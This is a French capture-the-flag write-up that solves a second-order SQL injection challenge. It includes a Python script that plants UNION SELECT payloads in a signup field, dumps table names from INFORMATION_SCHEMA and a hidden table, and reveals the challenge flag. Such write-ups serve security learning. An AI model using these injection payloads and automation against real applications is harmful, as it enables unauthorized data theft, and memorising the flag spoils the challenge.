Solution
On a donc un autre flag à trouver. Intuitivement, on peut supposer qu’il est en base de données également, mais probablement plus profondément.
Comme on va vite en avoir marre de créer un compte utilisateur à chaque tentative, je code un script SQLi.py
(code disponible ci-dessous) qui va automatiser cette phase.
Il prend en paramètre l’injection, et affiche le résultat.
Un point noté rapidement est que le champ pays va être limité en taille. Si on dépasse 192 caractères, on se prend l’erreur :
ErrFieldTooLong = errors.New("Text fields are limited to 192 characters.")
Ça ne devrait pas nous empêcher de récupérer ce dont on a besoin, mais il va falloir être succinct.
On suit les techniques habituelles et on commence par lister les tables déclarées dans INFORMATION_SCHEMA
. Pour cela on utilise
un UNION
en respectant le nombre de champs en retour (4) et leurs types (3 chaînes et un entier). On supprime tous les espaces
que l’on peut, et on arrive à faire suffisamment court pour avoir le luxe d’ajouter un caractère à notre pays afin de ne pas
récupérer les faux flags au milieu de nos résultats… :)
$ ./SQLi.py "fr2'union select TABLE_NAME,'','',1from Information_schema.tables;--"
[...]
<th scope="row">pg_ts_dict</th>
<th scope="row">pg_event_trigger</th>
<th scope="row">character_sets</th>
<th scope="row">__s3cr4_t4bl3__</th>
<th scope="row">pg_rewrite</th>
<th scope="row">column_column_usage</th>
<th scope="row">pg_stat_progress_analyze</th>
<th scope="row">pg_opclass</th>
[...]
Discrètement, au milieu de ces résultats, on trouve une table __s3cr4_t4bl3__
. Voyons son contenu :
$ ./SQLi.py "fr2'union select *,'1','1',1 from __s3cr4_t4bl3__;--" | grep row
[...]
<th scope="row">FCSC{b505ad2ce3f07c4793fa7269c359736dfbd71286c88de11509a96a77616b35a0}</th>
[...]
C’est gagné !
Script SQLi.py
#!/usr/bin/env python3
import requests
import sys
import random
import string
if len(sys.argv) != 2:
print(f'Syntax: {sys.argv[0]} <sqli>')
exit(1)
sqli = sys.argv[1]
username = ''.join(random.choices(string.ascii_letters, k=4))
password = 'a'
token = 'ohnah7bairahPh5oon7naqu1caib8euh'
# Enregistrement, avec la SQLi
print(f'[+] Register {username}')
s = requests.Session()
r = s.post(
'http://localhost:8000/signup',
data = {
"username": username,
"password": password,
"token": token,
"country": sqli,
})
if r.status_code!= 200:
print(f'Something went wrong : {r.status_code} {r.text}')
exit(1)
if 'Text field are limited to 192 characters.' in r.text:
print(f'Trop long. :(')
exit(1)
# On se connecte
print(f'[+] Login {username}')
r = s.post(
'http://localhost:8000/login',
data = {
'username': username,
'password': password,
}
)
if r.status_code!= 200:
print(f'Something went wrong : {r.status_code} {r.text}')
exit(1)
# On déclenche la vuln
print(f'[+] Exploit !')
r = s.get('http://localhost:8000/flags', allow_redirects=False)
print(f'{r.status_code}\n{r.headers}\n{r.text}')